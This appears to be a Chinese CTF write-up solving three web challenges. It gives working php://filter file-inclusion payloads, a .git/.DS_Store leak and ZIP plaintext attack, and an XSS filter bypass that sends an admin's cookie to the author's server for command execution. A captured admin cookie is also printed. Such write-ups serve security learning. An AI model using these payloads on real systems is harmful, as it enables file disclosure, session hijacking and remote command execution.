这场比赛打了个酱油,只解了3题。意识到自己还需更加努力学习,趁着平台再次开放,复现一下Web的三道题
babyt3
题目链接:http://61.164.47.198:10000/
页面直接给出了提示include $_GET['file']
,是一个文件包含题目
利用PHP伪协议读取index.php
经过base64加密后的源代码:
1 | /index.php?file=php://filter/convert.base64-encode/resource=index.php |
1 | #index.php |
源代码又给出了提示hint:ZGlyLnBocA==
,base64解密后得到dir.php
继续用伪协议读dir.php
的源代码:
1 | /index.php?file=php://filter/convert.base64-encode/resource=dir.php |
1 |
|
发现读取目录下文件的函数scandir
,读取根目录发现flag文件dir.php?dir=/
再次利用伪协议读取flag文件,payload如下:
1 | /index.php?file=php://filter/convert.base64-encode/resource=/ffffflag_1s_Her4 |
解密后获得flag:flag{8dc25fd21c52958f777ce92409e2802a}
猜猜flag是什么
题目链接:http://61.164.47.198:10002
一开始通过GET方式提交参数name
,发现页面会返回我们输入的参数name
的值,尝试了一下XSS,?name=%253cscript%253e%253c/script%253e
,弹出了hint:e10adc3949ba59abbe56e057f20f883e
md5解密是123456,但是一直没懂这个提示的意思,用御剑扫后台也没有扫到什么有用的
比赛结束后,参考别人的WP发现这题就是路径泄露
首先,通过dirsearch
工具扫描目录,该工具下载链接:https://github.com/maurosoria/dirsearch
扫描到/.DS_Store
再通过ds_store_exp
工具进行还原,该工具下载链接:https://github.com/lijiejie/ds_store_exp
还原结果发现存在目录/e10adc3949ba59abbe56e057f20f883e
,即前面发现的提示
访问/e10adc3949ba59abbe56e057f20f883e/.git
,发现存在git文件泄露,使用githack
工具还原
还原后发现压缩包BackupForMySite.zip
,但是被加密,发现里面存在lengzhu.jpg
,得知这是一个明文攻击
先将lengzhu.jpg
通过2345好压压缩为lengzhu.zip
,再与BackupForMySite.zip
通过ARCHPR
工具进行明文攻击,
进行解密一段时间后,虽然没有得到解压密码,但是得到解压后的压缩包
解压后得到hint
内容:
1 | code is 9faedd5999937171912159d28b219d86 |
看到code
想到了首页的code兑换码,于是访问/?code=9faedd5999937171912159d28b219d86
得到一个数字:4795334
,看样子不像是flag
hint
中还有内容flag saved in flag/seed.txt
,但是访问/flag/seed.txt
也没有得到flag
但是看到seed就想到了这是一个随机数,需要工具php_mt_seed
进行破解,该工具下载链接:https://www.openwall.com/php_mt_seed/,下载解压后进入目录执行`make`得到`php_mt_seed`
解密后的结果逐一尝试
访问/flag/309551.txt
得到flag:flag{0730b6193000e9334b12cf7c95fbc736}
breakout
题目链接:http://61.164.47.198:10001
题目一开始为登录页面,但是完全不需要输入任何用户名和密码即可登录,登录后,有三个页面:/main.php
为留言页面;/report.php
为提交URL页面,提交完成后管理员会访问;/exec.php
为命令执行页面,但是只有管理员才可以执行命令
题目思路挺明确的,利用留言页面进行XSS注入,再提交留言页面的URL,窃取到管理员的cookie,最后执行命令获取flag
首先在留言页面进行XSS注入,通过测试后台将script
替换成:)
,所以考虑用img标签的onerror事件,将空格+onerror=
替换成了:)
,绕过方法是将onerror
和=
之间换行,注入内容为:
1 | <img src=x onerror |
成功执行弹框,那么接下来只要控制onerror事件内容即可将管理员cookie发送到自己的服务器,payload为:
1 | <img src=x onerror |
当管理员访问/main.php
时,触发onerror事件后就会将自己的cookie值提交到我们的服务器上,我们即可在服务器的日志信息上发现
接下来,需要在/report.php
中提交/main.php
页面的URL值,但是这里必须同时要提交正确的验证码,验证码的条件为:substr(md5($str), 0, 6) === xxxxxx
,即我们提交的验证码经过md5加密后的前六位为指定的随机6位数字,因为每次访问页面,产生的6位数字都不同,所以需要通过脚本进行提交,代码如下:
1 | import requests |
运行后可以看到页面返回提交成功的信息
接下来,回到自己服务器,查看日志内容:
成功窃取到管理员的cookie值:
1 | %20admin=admin_!@@!_admin_admin_hhhhh; |
最后,来到命令执行exec.php
页面,提交执行的命令,加上管理员的cookie,payload如下:
1 | POST /exec.php HTTP/1.1 |
再次访问日志,经过base64解密后获取flag值:flag{fa51320ae808c70485dd5f30337026d6}